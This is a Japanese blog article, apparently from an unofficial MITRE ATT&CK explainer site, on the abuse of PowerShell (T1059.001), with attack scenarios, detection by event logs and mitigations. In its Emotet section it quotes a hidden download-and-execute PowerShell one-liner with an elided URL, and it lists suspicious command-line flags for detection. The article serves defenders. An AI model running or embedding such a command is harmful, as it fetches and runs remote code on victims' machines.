T1059.001 PowerShellを悪用した攻撃手法と検知方法【MITRE ATT&CK】

T1059.001Tactic: Execution (TA0002)|ATT&CK v16|非公式日本語解説

※本記事にはアフィリエイトリンクが含まれます。詳しくはプライバシーポリシー・広告掲載についてをご覧ください。

PowerShellはWindows環境のシステム管理に欠かせないツールですが、サイバー攻撃でも最も悪用されるスクリプト環境の一つです。MITRE ATT&CKではT1059.001 PowerShellとして分類されており、APT29やAPT32など多数の攻撃グループによる利用が確認されています。本記事では、PowerShellがなぜ攻撃に悪用されるのか、実際の攻撃事例、検出方法、そして実務で使える緩和策を日本語で詳しく解説します。

※本サイトはMITRE ATT&CK®の非公式日本語解説サイトです。Based on MITRE ATT&CK® v16。

T1059.001 PowerShellの概要

T1059.001は、T1059 Command and Scripting InterpreterのSub-techniqueであり、Execution(実行 / TA0002)タクティクスに属します。攻撃者はPowerShellを使用して、コマンドの実行、スクリプトのダウンロード、メモリ上でのペイロード実行、横展開(Lateral Movement)など多岐にわたる攻撃活動を行います。

PowerShellが攻撃に悪用される理由

  • OS標準搭載: Windows 7以降のすべてのWindowsに標準でインストールされており、追加のツールなしで利用可能
  • .NETフレームワークとの統合: .NETのクラスライブラリに直接アクセスでき、ファイルレスマルウェアの実行が可能
  • リモート実行: PowerShell Remoting(WinRM)を使って、ネットワーク内の他のマシンでスクリプトをリモート実行可能
  • 難読化の容易さ: Base64エンコード(-EncodedCommand)、文字列連結、変数置換などで検出回避が容易
  • メモリ内実行: Invoke-Expression (IEX)やリフレクションを使い、ディスクにファイルを書き込まずにペイロードを実行可能

攻撃シナリオ例

APT29(Cozy Bear)— ファイルレスPowerShell攻撃

ロシアの国家支援型グループAPT29は、フィッシングメールを起点とした攻撃でPowerShellを多用します。典型的な攻撃フローは以下の通りです:

T1566(フィッシング)→ T1204(ユーザー実行)→ T1059.001(PowerShell実行)

  • フィッシングメールの添付ファイル(LNKファイルやOffice文書)をユーザーが開く
  • バックグラウンドでPowerShellが起動し、-EncodedCommandパラメータでBase64エンコードされたコマンドを実行
  • C2サーバーからステージャー(小さなダウンローダー)を取得し、メモリ上で実行
  • 追加ツール(Mimikatz等)をメモリにロードし、認証情報を窃取

APT32(OceanLotus)— PowerShell + WMIの組み合わせ

ベトナム系のAPT32は、PowerShellとWMI(Windows Management Instrumentation)を組み合わせた持続的なアクセス確保を行います。PowerShellスクリプトをWMIイベントサブスクリプションに登録し、システム起動時に自動実行させるパーシステンス手法を利用します。

Emotetマルウェア — マクロからPowerShellへの連鎖

Emotetの初期感染チェーンでは、Office文書のVBAマクロがPowerShellコマンドを生成・実行します。powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://...')"のようなワンライナーでペイロードをダウンロードし、メモリ上で実行するパターンが広く観測されています。

検出方法

ScriptBlock Logging(イベントID 4104)

PowerShell v5以降で利用可能なScriptBlock Loggingは、実行されたスクリプトの全文をイベントログに記録する最も重要な検出機能です。難読化されたスクリプトでも、実行時に展開された後のコードが記録されるため、攻撃者のエンコードや難読化を突破できます。

有効化方法(グループポリシー):

コンピューターの構成 → 管理用テンプレート → Windowsコンポーネント → Windows PowerShell
→ 「PowerShell スクリプト ブロックのログ記録を有効にする」を有効化

プロセス作成の監視(イベントID 4688 / Sysmon Event ID 1)

以下のコマンドラインパラメータの組み合わせは高い確率で不審な実行を示します:

  • -EncodedCommand / -enc: Base64エンコードされたコマンドの実行
  • -ExecutionPolicy Bypass: 実行ポリシーの無視
  • -NoProfile / -NoP: プロファイルのスキップ
  • -WindowStyle Hidden / -W Hidden: ウィンドウの非表示
  • -NonInteractive / -NonI: 非対話モード
  • 親プロセスがwinword.exe、excel.exe、mshta.exeなどの場合は特に注意

Module Logging(イベントID 4103)

PowerShellモジュールの入出力を記録します。特定のモジュール(例:Microsoft.PowerShell.Utility)の利用パターンから不審な活動を検出できます。

緩和策(Mitigations)

ID緩和策名概要
M1042機能の無効化・削除PowerShell v2の無効化(ログ機能が無いため悪用されやすい)
M1049ウイルス対策/マルウェア対策AMSI連携によるPowerShellスクリプトのリアルタイムスキャン
M1045コード署名実行ポリシーをAllSignedまたはRemoteSignedに設定
M1038実行防止AppLockerでpowershell.exe/pwsh.exeの実行を承認済みユーザーに制限
M1026特権アカウント管理JEA(Just Enough Administration)で最小権限のPowerShellセッションを構成

実装チェックリスト

  • ☐ ScriptBlock Logging(イベントID 4104)を全端末で有効化
  • ☐ Module Logging(イベントID 4103)を有効化
  • ☐ PowerShell v2を無効化(Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
  • ☐ 実行ポリシーをAllSignedまたはRemoteSignedに設定
  • ☐ Constrained Language Modeを検討(.NETアクセスの制限)
  • ☐ AppLockerでPowerShellの実行をホワイトリスト管理
  • AMSI対応のエンドポイント保護ソフトを導入
MITRE ATT&CK T1059.001 PowerShellを悪用した攻撃の検出と防御の概念図
T1059.001 PowerShell攻撃の検出ポイント:ScriptBlock Logging、プロセス監視、AMSI連携

おすすめセキュリティ対策ツール

PowerShellベースの攻撃を検出・防御するためには、AMSI連携に対応したエンドポイント保護が重要です。

🛡️ まず今日から始めるなら:AMSI対応セキュリティソフトの導入
PowerShellの実行時にスクリプトの内容をリアルタイムでスキャンするAMSI連携は、ファイルレス攻撃への最も効果的な防御層の一つです。

※ 上記はアフィリエイトリンクです。料金・機能は各公式サイトで必ずご確認ください。

まとめ:PowerShell攻撃対策の要点

  • ログを有効にする:ScriptBlock Logging(4104)とModule Logging(4103)は必須。PowerShell v2は即座に無効化する
  • 実行を制限する:AppLocker/WDAC、実行ポリシー、Constrained Language Modeで不正なPowerShell実行を制限
  • AMSIで検出する:AMSI対応のセキュリティソフトにより、難読化されたスクリプトでも実行時に検出可能
  • 親プロセスに注目する:Office製品やブラウザからPowerShellが起動するパターンは高い確率で攻撃活動

参考資料MITRE ATT&CK T1059.001 – PowerShell / 情報セキュリティ10大脅威 2026(IPA) / JPCERT/CC

Based on MITRE ATT&CK®, © The MITRE Corporation. Licensed under Apache License 2.0. 本記事は非公式の日本語解説です。

関連記事

コメント

タイトルとURLをコピーしました